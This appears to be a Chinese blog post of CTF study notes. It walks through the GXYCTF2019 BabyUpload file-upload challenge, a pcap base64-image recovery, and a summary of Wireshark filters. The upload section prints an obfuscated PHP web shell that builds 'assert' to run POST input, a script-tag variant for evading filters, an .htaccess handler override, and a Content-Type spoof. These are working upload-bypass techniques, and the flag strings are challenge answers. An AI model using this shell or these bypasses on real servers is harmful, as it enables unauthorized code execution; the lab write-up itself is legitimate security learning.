文件上传巩固及流量分析

1.[GXYCTF2019]BabyUpload

1)打开题目也是没有任何提示,

2)进入环境,看到下面页面猜测是文件上传漏洞,下面开始传文件

3)首先上传一句话木马 a.php,代码如下:

下面这个代码中并没有写传统的一句话木马,因为直接写一句话木马需要关闭系统防火墙

<?php
	$a="a"."s";
	$b="s"."e"."rt";
	$c=$a.$b;
	$c($_POST['123']);
?>

提示后缀不能有ph,那么根据前面做过类似文件上传的题,php3,php5,phtml等后缀也无法使用了。

5)那就将文件后缀改为 jpg,上传后页面如下:

6)由此我们得知,后端检测出我们的.jpg文件源码中含有php代码。

那么只有将.jpg文件中的php代码用 javascript 的形式代替了,代码如下:

<script language='php'>
    $a = "a"."s";
    $b = "s"."e"."r"."t";
    $c = $a.$b;
    $c($_POST["123"]);
</script>

重新上传,页面如下:

7)这里也是上传成功了,接下来按照之前做题惯例,它应该还得解析jpg文件中的php代码了,这时就需要上传.htaccess文件来帮助解析,它必须包含以下代码

SetHandler application/x-httpd-php

这条命令可以解析所有后缀文件中的 php 代码。

上传出现这问题我也是懵了,抓个包看看吧

猜测应该是,后端代码对文件类型--Content-type有限制。

这就需要我们在上传 .htaccess 文件的同时,利用Burpsuite进行抓包,修改 Content-type为image/jpeg,如下:

修改为image/jpeg

然后放包

页面显示上传成功(.htaccess successfully uploaded)

然后再次上传jpg文件,如下:

由此可以拼接网址

http://c36ead8b-24f9-48f5-ab15-e7308cb50dc7.node5.buuoj.cn:81/upload/c9b8b9f7c985fa1d10ca30c0f9a2de85/b.jpg

然后用蚁剑链接

成功找到flag

总结一下这题简单来说它就是过滤了php,限制了文件上传的内容,然后需要解析jpg文件,需要上传.htaccess文件来进行解析,以及修改数据类型,拼接url头等

2.数据包中的线索

1)下载附件,用wireshark打开,从中进行数据分析

2)过滤一下http流

3)找到一个状态值为200的,看着有点问题,打开seesee

看到里面是类似于base64编码的一大篇

4)选中编码去解码,注意最后面多了个0要去掉

太大解析不出来,直接将他存为图片

拿到   flag{209acebf6324a09671abc31c869de72c}

当然这里需要注意的是

/9j是jpg文件头的 base64 编码

3.最后加上昨天学的再总结一下流量分析

首先whireshark提供了三个主要面板,包括:

抓包面板(Capture Panel):

        抓包面板用于捕获网络数据包,并显示已经捕获的数据包列表。在该面板中,可以选择捕获的网络接口、设置捕获过滤器、启动和停止抓包等操作。此外,还可以通过右键单击数据包,查看详细信息、导出数据包、跟踪TCP流等。

数据包列表面板(Packet List Panel):

        数据包列表面板显示已经捕获的数据包列表,其中每个数据包占据一行,并列出了有关该数据包的一些关键信息,如时间戳、源IP地址、目标IP地址、协议类型、数据包长度等。此外,还可以通过对列表进行排序、筛选、搜索等操作,方便用户查找和分析数据包。

数据包详情面板(Packet Detail Panel):

        数据包详情面板显示选定数据包的详细信息,包括各个协议层的数据结构和字段值。用户可以通过展开不同的节点,查看不同的协议头和数据负载,帮助用户深入理解数据包的内容和意义。

常用语法:
(在搜索框输入http即可看http的流量)

tcp:显示所有TCP协议的数据包
udp:显示所有UDP协议的数据包
http:显示所有HTTP协议的数据包
dns:显示所有DNS协议的数据包
icmp:显示所有ICMP协议的数据包

ip地址筛选:
ip.addr == 192.168.0.1:显示与指定IP地址相关的所有数据包
ip.src == 192.168.0.1 :显示源IP地址为指定地址的数据包
ip.dst == 192.168.0.2:显示目标IP地址为指定地址的数据包

端口筛选:
tcp.port ==  80:显示使用指定TCP端口的数据包
udp.port == 53:显示使用指定UDP端口的数据包

比较运算符:
==:等于,例如:http.request.method == "POST"
!=:不等于,例如:ip.addr != 192.168.0.1
<、>:小于、大于,例如:frame.len > 100 或 frame.len < 50,可以指定过滤数据包长度

数据包内容过滤规则:
http.request.method == "GET" 或 tcp.flags.syn == 1,可以通过指定数据包内容,只保留符合条件的数据包


:    关于我也不太懂的一点

      # 就是在TCP三次握手过程中,客户端向服务端发送一个SYN标志的数据包,表示请求建立连接。而tcp.flags.syn == 1就是Wireshark中用于匹配TCP SYN标志的过滤规则,其中1表示该标志位被置为1,表示该数据包是一个SYN数据包。当Wireshark捕获到一个TCP数据包时,会检查该数据包的TCP头部中的SYN标志位是否被置为1,如果符合条件,则该数据包会被匹配并显示出来。这样,用户就可以快速过滤出所有的TCP SYN数据包,方便进行相关的分析和处理。

  • 23
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值